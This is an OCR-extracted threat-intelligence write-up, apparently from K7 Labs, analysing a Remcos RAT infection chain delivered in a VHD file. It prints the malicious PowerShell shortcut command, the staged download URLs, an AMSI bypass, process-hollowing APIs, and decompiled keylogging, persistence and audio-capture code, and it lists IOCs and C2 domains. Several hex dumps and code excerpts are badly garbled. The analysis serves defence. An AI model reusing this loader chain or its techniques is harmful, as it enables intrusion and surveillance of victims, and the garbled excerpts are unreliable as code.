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Typically spread through malicious attachments, drive-by downloads, or social engineering, Remcos RAT has been active

since 2016. Initially presented by BreakingSecurity, a European company, as a legitimate remote control tool, it has since

been exploited by threat actors for nefarious purposes, despite claims of restricted access for lawful use.

On analyzing a few samples from VirusTotal, we got one interesting sample which was a .vhd file. Let’s analyze how threat
actors have crafted the VHD (Virtual Hard Disk).

After extracting the .vhd file we got a bundle of files shown in Figure 1.
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Figure 1: Extracted VHDfile

The shortcut file has the following powershell command line in target, pointing to the MacOSX.ps1 script. Its deconstructed

components are depicted in Figure 1,

[ \\localhost\C$\Windows\System32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -File ".MacOSX/MacOSX.ps1" 1]

While analyzing the script we got to know it had several operations in it. Some of the functionality seems to be remnants of
old TTP.

¢ Download a PDF file as PNG file (Figure 1)

¢ Create a Task to download and execute a powershell script. (Figure 2)
We found some key functionalities for this script

¢ AMSI Bypass (Figure 3)
¢ Download a PNG file which is a VB script. (Figure 4)
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Figure 3: Schedule task
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BYE
SbinaryData = @"

Figure 4: AMSI Reaper

AMSIReaper which is an open source tool available in GitHub.

pe CurrentUser utionPolicy Bypass -

aryData

riptPath

Figure 5: Downloading PNG file (elana.png)

The command in $binaryData , in Figure6, downloads a file (elana.png) from a specified URL
(hxxps://bitbucket.org/openheartplayercertlover/certlover2/downloads/elana.png) . The PNG file is a VB script file base64

encoded file which is decoded and saved as under %Programdata% as second.ps1.
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On further analyzing the png file we got to know it was actually a VB script.

W

AT

nn }

cintura.all.UserInput.matriz

Figure 6: VB script in elana.png

It defines a function peopaias which creates an instance of Internet Explorer (apegadas), navigates to a blank page, and
waits until the page is fully loaded. It then sets up the browser window properties, including position and size. The function
waits until a user input element is available on the page and then retrieves the input value before quitting the browser. It also
defines a function convertibilidade which takes a string parameter cytiso containing script code and executes it using
ExecuteGlobal. From this URL(“hxxp://paste.ee/d/azthe”) we are able to get the base64 encoded VB script .
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dim DGyPXkIxkIcoTvalWBvDYAgdZWQAKePKxLLT JyxfTOltexEVWTGaoy c INHNdHadwCYCUieqUmnUjHXzUypGy iyntVEDNs
gluqy0dCMgFaFubPCGhkMWhoiGsmp LwupQXAHY xUhmbpPhrEnEXxMprgPgi0pKXRaKbtbBDVCivIRLcfGmDhbwe TiCuzzZhgEyP |,
ny JHy TgmsZncNmIxZHbPRIxxMxxDtwpeMRhsWiGiwZzpeENl aZaUxdvrISVEgs jVmIougXlUaTzHAgAHotMMgTnnuuDKOMsRpmRe
SKfQaYeKhuNQTEhcCDDGCqQIHxdUQAYIIqZ0gYkQzrYHHLIS FUKGTDcuNYagftXjLtpHrgeZDMKIEynBrnboZHOUDY cYeUoFrel |,
kEBtAGLLtRUOUzZLErsTCanZGSATYpPYVqdOwDHBYAJobCXmutAztelsezDCzwhSWphcLTtPLGUMenTIyLaltsjEcMwhbcAQDTUKE |,
kEBtAGLLItRUOUzZLErsTCanZGSATYpPVqdOwDHBYAJobCXmutAzteIsezDCzwhSphcLTtPLGUMenTIyLaltsjEcNwhbcAqDTukBL

aglugy0dCMgFaFubPCGhKMWhoiGsmp LwupQXAHYxUhmbpPhrEnEXxMprgPqiOpkXRaKbtbBDVCivIRLcfGmDhbwe TiCuzzZhg

dmy JHy TgmsZnchNmIxZHbPRIxxMxxDtwpeNRhsWiGiwZzpeENlaZaUxdvr1SVEqs jVmIougXUaT zHAgAHotMMg T nnuuDKOMs Rp
1DgTreBpDeTreG@DgTreYQBnDeTreGUDET reVQByDeT reGwlgTreIDgTreDgTre0gTralDeTreDgTrewBoDgTreHQDETredDgTr
3K fQaYeKhuNQTEhcCDDGCgQIHxdUQAYIIqZOgYkQz rYHH11S FWKGTDCuNYagftXjLtpHrgeZDMKJEynBrnboZHOUoY cYeUoFrel
glugyQdCMgFaFubPCGhKMWho1Gsmp LwupQXAHYxUhmbpPhrEnEXxMprgqPqiOpKXRaKbtbBOVCivIRL cfGmDhbweTiCuzzZhgEyP
3KfQaYeKhuNQTEhcCDDGCqQIHxdUQAY1IqZ0gYkQz rYHH11S FWKGFDculYagftXjLtpHrgeZ DMK EynBrnboZHOUoY cYeUoFrel
SKfQaYeKhuNQTEhcCDDGECqQIHxdUQAYiIqZ0gYkQz rYHHL1S FUKGTDculNYagftXjLtpHrgeZDMKjEynBrnboZHOUoY cYelUoFrel
gluqy0dCMgFaFubPCGhkMWhoiGsmpLwupQXAHYxUhmbpPhrEnEXxMprqPqiOpKXRaKbtbBOVCivIRL cfGmDhbweTiCuzzZhgEyP
K fQaveKhuNQTEhcCODGCqQIHxdUQAY 1 IqZ0gYkQz rYHH1 1S FWKGTDecuNYagftXjLtpHrgeZ DMK JEy nBrnboZHOUoY cYeloFrel
JBUDETreHMDETreLgBjDgTreG8DgTrebQDgTreulgTreGIDgTrecgDgTrevigTreakDgTrebQBhDgTreGeDgTre"” &
3KfQaYeKhuNQTEhcCDDGCqQIHxdUQAYiIqZ0gYkQz rYHH11S FWKGTDculYagftXjLtpHrgeZDMKjEynBrnboZHOUoY cYeUoFrel &
gluqy0dCMgFaFubPCohKMWho1GsmpLwupQXAHYxUhmbpPhrEnEXxMprqPqiOpKXRaKbtbBOVCivIRL cfGmDhbwe TiCuzzZhgEyP &
SKfQaYeKhuNQTEhcCDDGCqQIHxdUQAYiIqZ0gYkQz rYHHL1S FUKGTDcuNYagftXjLtpHrgeZDMKJEynBrnboZHOUoY cYeUoFrel &
2BzDEgTreC8DgTreMDETreDgTrewDgTreDQDETrelwDgTre3DgTreDMDeTreMODeTrevDgTreDkDgT reNQDeTre4DgTreCBDET rebw
3K fQaYeKhuNQTEhcCDDGCgQIHxdUQAYIIqZOgYkQz rYHH11S FWKGTDCuNYagftXjLtpHrgeZDMKJEynBrnboZHOUoYcYeUoFrel &
glugy0dCMgFaFubPCGhKMWho1GsmpLwupQXAHYxUhmbpPhrEnEXxMprqPqiOpKXRaKbtbBOVCivIRL cfGmDhbweTiCuzzZhgEyP &
SKfQaYeKhuNQTEhcCDDGCqQIHxdUQAYiIqZ0gYkQz rYHHL1S FUKGTDculNYagftXjLtpHrgeZDMKjEynBrnboZHOUoY cYelUoFrel &
NBpDETreG4DgTre¥QBsDgTreC80gTrebgBlDgTreHcDgTreXwBpDgTreG@DgT reYQBnDgTreGUDgT reLgBgDgTreHDgTreDgTre™
SKfQaYeKhuNQTEhcCDDGCqQIHxdUQAY1IqZ0gYkQz rYHHL1IS FUKGTDcuNYagftXjLtpHrgeZ DMK EynBrnboZHOUoY cYeUoFrel &
glugyQdCMgFaFubPCGhkMWholGsmpLwupQXAHYxUhmbpPhrEnEXxMprgPqiOpKXRaKbtbBDVCivIRL cfGmDhbwe TiCuzzZhgEyP &
3KfQaYeKhuNQTEhcCDDGCqQIHxdUQAYiIqZ0gYkQz rYHH11S FWKGTDculYagftXjLtpHrgeZDMKjEynBrnboZHOUoY cYeUoFrel &
wDgTre,/DgTreDEDgTreMwDgTrewDgTreDcDgTreMQDgTre@DgTreDMDgTreNgDgTre3DgTreDMDgTrelwDgTre7DgTreCQDT redw
SKTQaYekKhuNQTEhcCDDGcgQIHxdUQAY1IgZ0gYkQz rYHHL1S FWKGTDcuNYagftXjLtpHrgeZ DMK jEynBrnboZHOUoY cYelUoFrel &

po e pe po po e

Figure 7: Encoded VB script

After decoding the VB script, we got a PowerShell script which was encoded with base64.

Figure 8: Encoded PowerShell script in decoded VB script

On executing the script and capturing the output we realized that it was a VB script.
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Figure 9: VB script in decoded PowerShell script

The VB script downloads an image file from the particular URL
(‘hxxps://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673°).

& @ @ uploaddeimagens.com.br/images/004/731/958

Figure 10: Downloading PNG

On analyzing this image file we found that it was a base64 encoded value.
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000F4230 1F AG A6 OB C8 50 38 EG ED 46 06 TA 53 82 1F 4C .®!.EP8EiF.zS,.L
000F4240 D1 B6& 90 C4 CO 27 A7 E7 4& 78 18 A5 C6 EL D4 0B HY.BA'Scix.¥Eal.
000F4250 31 81 S8E A7 D8 51 71 D& 30 30 45 36 97 04 OC E3 1.7S@QQBO0EE—. .3
000F4260 AF AF 14 95 FC 68 13 1B 21 EQ OR &F 6C F7 A7 37 ~ .™ih..'&.o0l§7
000F4270 34 D2 78 E0 14 ZB 93 D4 74 2E 11 C3 15 0D EC 7& 40xa.«0t..h..iz
00OF4280 53 5C 86 62 40 C7 7C OE 94 83 AF A5 3B AS 23 37 S\tb@C|.~F ¥:¥#7
00OQF4290 A% C3 D2 9B C9 1C 53 B3 41 CF 64 AE CC 9B 74 61 ~A0>E.5°AIli®Irta
000F42ZR0 11 DR C7 ©F 7C 54 84 77 ED 50 ED 3B 87 15 36 72 .UCY|T.wiPi;%.6r
000F42B0 3E G5 5D 48 7E 42 53 E3 ES 41 EF 4C A7 06 DB EE >-]H~BS33ails.0i
000F42C0 07 34 D8 85 76 8E FC OF BC 50 5B FO A6 97 C8 E3  .4@%viazWP[&!-E3
000F42D0 BD 33 34 AC 4B 62 C8 72 BE 98 A8 54 1C 91 D4 OF *34-KbErk~"T. ‘0.
O0OOF42EQ0 44 93 76 54 D2 60 8F 63 4C 03 39 A6 OE B4 EC 52 J°vwTd .cL.9!'3 iR
O00F42F0 30 CD 34 50 C3 CO 34 C2 3h SA 51 BA 1A 68 E4 55 of4phigh:3'0.nav
000F4300 58 OF FF DS 3C 3C 42 41 53 45 36 34 S5F 53 54 41 X.yU<<BASE64 STA
QO0F4310 52 54 3E 3E 54 56 71 51 41 41 4D 41 41 41 41 45 RI>>TVUOAAMARRAE .
000F4320 41 41 41 41 2F 2F 38 41 41 4C 67 41 41 41 41 41 RAAAA//SAALgARARA
000F4330 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 AARAQAARRARAAARRA
O00F4340 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAARAARAALRL
O00F4350 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AARAAAAAAAAARAARLD
O00F4360 41 41 41 41 €7 41 41 41 41 41 34 66 75 67 34 41 AARAGAAAAA4fugdd
000F4370 74 41 6E 4F 49 €2 67 42 54 4D 30 68 56 47 68 70 tAnNTbgBTMORVGhD
O00F4380 €3 76 42 77 63 6D 39 6F 63 €D 46 74 49 47 4E 68 cyBwem9ncmFrIGHh
000F4390 62 6D 35 76 64 43 42 69 S5A 53 42 79 64 57 34 67 bmSvdCBizZSBydWdg
OO0F43R0 61 57 34 67 52 45 39 54 49 47 31 76 SA 47 55 75 aW4gRESTIGLvZGUu
Q00F43B0 44 51 30 4B 4A 41 41 41 41 41 41 41 41 41 42 51 DQOKJAAARARAAABQ
Q00F43C0 52 51 41 41 54 41 45 44 41 4D 44 78 77 47 55 41 ROAATAEDAMDxwWGUR
O00F43D0 41 41 41 41 41 41 41 41 41 4F 41 41 41 69 45 4C AAAAAARAACAARIFEL
OOOF43E0 41 56 41 41 41 44 42 54 41 41 41 6B 41 51 41 41 AVAAADBTAARKAQAR
O00F43F0 41 41 41 41 70 6B 35 54 41 41 41 67 41 41 41 41 AARApkSTAAAGARRR
000F4400 59 46 4D 41 41 41 41 41 45 41 41 67 41 41 41 41 YFMAAAAAFARGARAL
O00F4410 41 €7 41 41 42 41 41 41 41 41 41 41 41 41 41 47 RAgAABAARLARAALLG
O00F4420 41 41 41 41 41 41 41 41 41 41 44 41 56 41 41 41 AAARAAAAAAADAVARDL
000F4430 41 67 41 41 41 41 41 41 41 41 4D 41 59 49 55 41 AgAAAAARAAMAYTIUA
Q00F4440 41 42 41 41 41 42 41 41 41 41 41 41 45 41 41 41 ABAAABAARARAEARA
Q00F4450 45 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 EAAAAAARABARARRA

Figure 11: Base64 value in PNG overlay

After decoding it we came to know that it was a PE file.

Property Value

File Name D vhdymz.dat

File Type Portable Executable 32 \NET Assembly
File Info Mo match found.

File Size 5.27 MB (3327040 bytes)

PE Size 5.27 MB (5527040 bytes)

Created Friday 23 February 2024, 16.03.21
Meodified Thursday 15 February 2024, 11.35.14
Accessed Friday 23 February 2024, 16.03.35

MD5 C50DC32F0CABCFTDTE44031031026072
SHA-1 7BOF1BID14DF425E4242FB 24323370 31757EBGFR

Figure 12: .net binary

While analyzing the .NET DLL file in Dnspy we got to know how attackers are using the main payload and where they are

using it.

The DLL is used to perform the process hollowing that is injecting the Remcos payload into a newly-created “RegAsm.exe”
process. Once the function is invoked, it finds “RegAsm.exe” from below locations on the victim’s device
“C:\Windows\\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe”.

The following APIs are used for process hollowing:
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CreateProcess() with CREATE_SUSPENDED flag(0x4), GetThreadContext(), ZwUnmapViewOfSection, . Virtual AllocEx(),
WriteProcessMemory(),SetThreadContext(), ResumeThread().

The URL, where the Final Payload is hosted, is stored in a reverse format in the VB script as shown in Figure 13.

Figure 13: Reverse URL string

The main payload Remcos is a VC8 compiled binary.

Property Value

File Name _pa}rload.dat

File Type Portable Executable 32

File Info Microsoft Visual C++ 8

File Size 483,00 KB (494592 bytes)

PE Size 483.00 KB (494592 bytes)

Created Friday 23 February 2024, 17,1818
Medified Friday 23 February 2024, 17.18.06
Accessed Thursday 07 March 2024, 17.36.40
MD35 3E125841810C306790958A95D6DBBERS
SHA-1 B3A436ACTRAFEER05987309861 30649834 C1TACE

Figure 14: C++ binary payload

It first decrypts a RC4 encrypted blob in the resource section, named “SETTINGS”.

= FindResourceA(hModule, "SETTINGS", (LPCSTR)@xA};
= H
if )
1
= LoadResocurce(hModule, H

LockResource(vad);
= (HRSRC)SizeofRescource(hModule, IH

i}

# =

Figure 15: Getting resource
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EH) Ieons
EH0 RCData

EHE) Deon Groups:

00000060 | SF 24 Ad 94
ooooDoyD | DE 71 OF AD
opooDpeE0 | EC 53 B7 FE
0o00D050 | F4 FF 3F Ba
00000040 | E6 9E OC FO
0000DQEOD | FB 19 79 9F
ooooooco | 2D 1& B9 DB DD
0o0oDoDoD | 70 00 15 48
QoOO0DOED | 8F &8 &F 26
000000F0 | 43 B9 B3 42
00ODD100 | BB 5F 49 3%
0oOoDLLD | 33 12 B2 90
aooooizo A0 4D CT
ooooo13o | 66 42 2C 2D ES
00000140 | Bl SE 38 Dd
0oooolso | 6E 6D 5B 7D
0DOOD1ED | F& 1B 47 IF
0ooooi7o | EB C8 BC 01
aoooois0 | 5 15 SE 97
00000190 | 34 3F 24 28
D000D1A0 | E4 98 CD Ei
0oooDiED | C1 SA EB 2B
aooooico | 91 27 F3 T7F
00000100 | 05 95 A% EC
0000D1ED | A4 F7 E1 BE
DO00DLFD | 2E A4 OB BE
00000200 | 36 AF 36 9F
ooooo210 | 30 C% 73 61
aooon220 | 3F Bd 2D 66
ooooo230
0000D240 | 9F AC 31 42
ooooozsn | 61 74 D4 F4
00000260 | D F3 32 13
00000270 | 36 53 D4 AD
DoooD2e0n | 3B E6 LA 4C
00000230 | BC E3 A4 A0 17

Figure 16: Manipulating resource
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In the blob, the first byte “3E” is the size of the RC4 key and the rest is the encrypted Remcos configuration block.

Operations

rcd
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RC4 Drop
CipherSaber2 Decrypt

CipherSaber2 Encrypt

Favourites *
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Figure 17: Decoded RC4 in setting

Auto Bake

+O3 e =

AB6EA572543812477198BD2EAAEB424AFAB142B176845DCCDC4493DD5E415554A65F 34A49ADBB2972A2762FAB
E967CSFFFAET187ADDT 2684BAE 3226185F46515CBEC5387FEAAO1BCEE248446920F CBO1DBFAFF3FEA308F3386
2BB95D6188547D43EG9EBCFOALFDFDAR5FSDC36A3AE36884FB19730FBD5ET38DA3319BE585C39F542D1689D8D
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ALF12FF2B9276E4D80@282D4F3321238BB105D1E6B8FOB7A3FT65. 5 OASD3F315128E85242F3BE
61A4C3BACTDD73A53E868344409AEBCE3AAAR17DACEA311FA338E364E0BD7OEQ4C64DFOICSBAEBSBCEOFA1EL
2F3F68AB8388176F68CET. FFO37D: 98671D29B7F71AE1E38589DD1FCEB3F7CEAGEASA
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D4282223E769766BDCFDES48C94AEBBDDEF 8AACT 2ABAB7SDC6COF2B1DB7E42FFESREBC3BEA681B21BSB12AAGL

e 2884 = 1 Tr Reu Bytes &= LF

a0 ®:

Toral. safesopkoco. com: 2404 1r: lora2. salesopkoce. Com: 2464 : 1z saf es0pkoco . com: 2404 : 1r:
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us |NEWS | rs #s vs | 1] #s s vs |woc| &5 s us |sou | =5 a5 us |sou| as ks vs | 1] ks ks vs [ 108808 | &s ks us |wue| as ks vs
w | 35 s ws e | 65 vs vs @] ns vs vs |RmC-F3TMBY | as ns us \ 1\

] x5 w5 us v e 15 0 110 ns es w5 ] e

Input

Qutput

| Py CuonuSwue  soew X essnssu | 55 55 vs

w505 [8] 65 x5 us | TueOwa s S e vschuvos Tronnunue | 5 1 v [t [ s s

v 6]

&5 us | Screenshots| as as us [

] s

on | s s es [me] 85 w5 us [ ] re ez us |
oz |MicRecords | e as us [w| rs ns
|| a5 s us 1] s es us | Ruvi@wwiMoCuuo

as us |wusie | as us s |5 s

] ns as s o e 05 s e | Troulns s s |5 ns 15 us [ mva

4518 s ax us [ B 52 s v [wurvon | as az vz || 55 as o | zou| v 2 vz [ ] n2
wussuusuusue | s s us | PaucenuMCruosuSheoin | 55 55 us [so | 65 a5 us [we] s s s

| 86D5BBDI1ES4ABBBEA312BCBIB22AB22 | s s us || ns ns us [@#§/84 | emsmusonsrxsrooizIg wnac>00@ocis E | sz v@
seres * oHI=zoremiem @10 cn 22 10700101 0000007 csx s2 20901231600000Z 0ru.0YBocsaceze: * s HI =sruscuncr s * o H=emison
seceBuuncorfxOts T16A/008 2DKDVs Lowbeocs”s ,%¥0s +AeQ63T0F  « EUASAKC + DS ~>flUS +0

ereHuwBEsme e Lsonuan<mdm_6a (¢} 0¥5 05 oS [B-ltp2evecn =UeEyeAU3eEDechlocsco X0’ PFue
\am zonsansaT u oge ‘aa% 1e0x26140 e]yR+ : fo

LH%Y0r «BeQBATOF « EUAZANC o ApDS~>TIUS e e |

From this configuration block we can get the C2, malware activities etc.

It sets the “RUN” registry for the persistence.
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v2 = byte_472B31;

V3 = byte_472838;

if ( byte_472B33 == 1 )
{

v4d = sub_4eB97C((wchar_t *)asc_465E74, vi, (int)&unk_4752D3);

la(ya, w7, (wehar © *Vgsg 465E74);
sub_413814(HKEY_ CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", lpValueName}; I

_ Lets

i (v3==1)

w5 = sub_4@B97C((wchar_t *)asc_465E74, v, (int)&unk_4752D8);

sub 483814(vs, w7, (wchar € *)asc 465E74);

Isub_413814(HKEY_LOCAL_W-‘«CHINE, L"software\ \Microsoft\\Windows\\CurrentVersion\\Run\\", lpvalusName}; I
pL sl avy H

T
i (w2 ==1)

vE = sub_48B97C(({wchar_t *)asc_465E74, vi, (int)&unk_4752D3);
sub_4@3e14(ve, v7, (wchar_t *)asc_465E74);
sub_413814(

| L"SU?twaI"E{\NicI"DSD'Ft\\l\'il"ldD\.\'S\\CUI"F‘EI"ItVEI"SiDﬂ\\PDliCiES\\EXplDFEF\\RUﬂ\\"J I

TPV TOeame 3
sub_481F@9(va);

Figure 18: Persistence

The designated filename for logging victim keystrokes and clipboard data, various settings instructing Remcos on how to
initiate its functionalities on the victim’s device, and the authentication details employed for establishing a connection to the

C2 server were all crucial components.

dword 472824 = (ip+Yibhiz.

Iif ( *this || (v2 = GetModuleHandleA(®), v3 = SetWindowsHookExA(13, (HOOKPROC)fn, v2, @), (*this = v3) != @) )
.

T

do

if ( !GetMessageA(&sg, @, @, @) )
break;

TranslateMessage (&1sg);

DispatchMessageA(&Msg);

}
while ( *this };
result = @;

}

elsze

{
w4 = GetlLastError();
w5 = sub_41BBBE(v1
sub_4852FD(&v13, “"Keylogger initialization failure: error ™, vS);
sub_42@93 (&7, "E");
sub_41B4EF (v7, v3, vi
sub_4@1FD8(v14);
result = 1;

Figure 19: Keylogging

It also creates a mutex to avoid multiple entries of this binary. Remcos also records the audio input from the victim’s
microphone.
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v7 = sub_48B97C(L"open "™, w23, (int)wva);
vE = sub_4@83814(v7, v2Z, L"\" type ");
v8 = sub_ 4@2FAS(vE, strReturnstring, wlg};

sub_4@3e14(vI, v21, L" alias audio”);
sub_481FBO(strReturnstring);
sub_4B1FB9(v22);

sub_481FB9(v23);

sub_481FR9(v24);

v1f = sub 4B1FB4(v21);
meisendStringW((LPCWSTR)v1G, @, @, @);
mciSendStringa(“play audic™, @, @, 8);
sub_482893(&v14, (char *)byte_466844);
sub_4@4AA1( (int)dword 475988, 169, vid, w15, vig, vi7, (int)vid, vid);
v1ll = CreateEventA(@, 1, @, @);

SBEL 6:

hEvent = v1l;

if ( byte_4742D1 )

1
mcisendstringA(“pause audic™, @, @, 8);
byte 474AD1 = 8;

if { byte 474AD0 )

mcisendstringa(“resume audic™, @, @, @);
byte 474508 = @;
b
mciSendStringA(“status audic mode™, strReturnString, @x14u, 8);
if ( !strcmp(strReturnstring, “stopped™) )
SetEvent(hEvent);
if { !WaitForSingleObject{hEvent, @x1F4u) )

CloseHandle(hEvent);
w1l = @8;
goto LABEL b;

by

w11l = hEwent;
1
mciSendStringa(“stop audic™, @, @, 8);
mcisendstringa(“close audio™, @, @, 8);

Figure 20: Stealing audio
Remcos RAT connects with a URL to collect geolocation information.

sub_48280F(this);

dwhumber0OfBytesRead = @;

v2 = malloc({@xFFFFu);

= InternetOpenk(®, lu, @, @, @);

InternetOpenUrlW(v3, L"http://geoplugin.net/json.gp”, @, B, Ox30000000, @);

]
|

I
1]

do

Figure 21: geolocation
The other capability of Remcos RAT is

» Capturing screenshots of the victim’s screen upon startup.
¢ Disabling User Account Control (UAC) on the victim’s device.
¢ Sending data to C2.

Attackers are always finding fresh strategies to evade the Antivirus (AV) and Endpoint Detection and Response (EDR)
system,to secure their ongoing attacks.

We at K7 Labs provide detection for Remcos and all the latest threats. Users are advised to use a reliable security product

such as “K7 Total Security” and keep it up-to-date to safeguard their devices.

I0Cs
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MD5 Detection Name
8E125841810C306790958A95D6DB EB5 Riskware ( 00584baal )
C50DC32F0CABCF7D7B44031031026078 Trojan ( 0057ef441)
AA387BAG65FF8C796CBE9OFEEC010C008 Trojan (0001140e1 )

URLs
hxxps://bitbucket.org/openheartplayercertlover/certlover2/downloads/S-Corp_AUELLC1.png
hxxps://bitbucket.org/openheartplayercertlover/certlover2/downloads/elana.png
hxxps://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673
hxxps://bitbucket.org/!api/2.0/snippets/openheartplayercertlover/jqEMdz/87de249e540d810ba6df8cabeca4b0d89589a73b/files/elanawt
hxxp://paste.ee/d/azthe

C2

loral.safesopkoco.com:2404

lora2.safesopkoco.com:2404

safesopkoco.com:2404

masterbotsbrothers.xyz:2404

motal.masterbotsbrothers.xyz:2404

mota2.masterbotsbrothers.xyz:2404

loral.safesopkoco.co:2404

lora2.safesopkoco.co:2404

lora2.safesopko.net:2404

loral.safesopko.net:2404

Source: https://labs.k7computing.com/index.php/unknown-ttps-of-remcos-rat
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